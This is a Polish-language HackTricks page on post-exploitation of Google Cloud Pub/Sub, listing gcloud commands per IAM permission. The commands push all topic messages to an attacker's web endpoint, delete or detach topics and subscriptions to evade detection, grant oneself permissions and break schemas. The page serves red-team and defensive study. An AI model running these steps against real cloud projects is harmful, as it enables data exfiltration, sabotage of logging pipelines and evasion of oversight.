GCP - Pub/Sub Post Exploitation

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Pub/Sub

Aby uzyskać więcej informacji na temat Pub/Sub, sprawdź następującą stronę:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Opublikuj wiadomość w temacie, przydatne do wysyłania nieoczekiwanych danych i wywoływania nieoczekiwanych funkcjonalności lub wykorzystywania podatności:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Przydatne do zapobiegania otrzymywaniu wiadomości przez subskrypcję, być może w celu uniknięcia wykrycia.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Przydatne do zapobiegania otrzymywaniu wiadomości przez subskrypcję, być może w celu uniknięcia wykrycia. Możliwe jest usunięcie tematu nawet wtedy, gdy do niego są dołączone subskrypcje.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Użyj tej uprawnienia do aktualizacji ustawień tematu w celu zakłócenia go, takich jak --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Nadaj sobie uprawnienie do wykonania dowolnego z poprzednich ataków.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Pobierz wszystkie wiadomości na serwerze sieciowym:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Utwórz subskrypcję i użyj jej do pobierania wiadomości:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Usuń subskrypcję może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Użyj tej uprawnienia do aktualizacji ustawień, aby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, tabela Big Query, kubełek) lub po prostu, aby je zakłócić.

pubsub.subscriptions.setIamPolicy

Przyznaj sobie uprawnienia potrzebne do wykonania dowolnego z wcześniej skomentowanych ataków.

pubsub.schemas.delete

Usuń schemat, aby móc wysyłać wiadomości, które nie spełniają wymagań schematu:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Zaatakuj schemat do tematu, aby wiadomości go nie spełniały i tym samym zakłócić temat. Jeśli nie ma żadnych schematów, możesz musieć utworzyć jeden.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Przyznaj sobie uprawnienia potrzebne do wykonania dowolnych wcześniej skomentowanych ataków.

pubsub.snapshots.create, pubsub.snapshots.seek

To spowoduje utworzenie migawki wszystkich niepotwierdzonych wiadomości i ich ponowne umieszczenie w subskrypcji. Niezbyt przydatne dla atakującego, ale tutaj jest:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated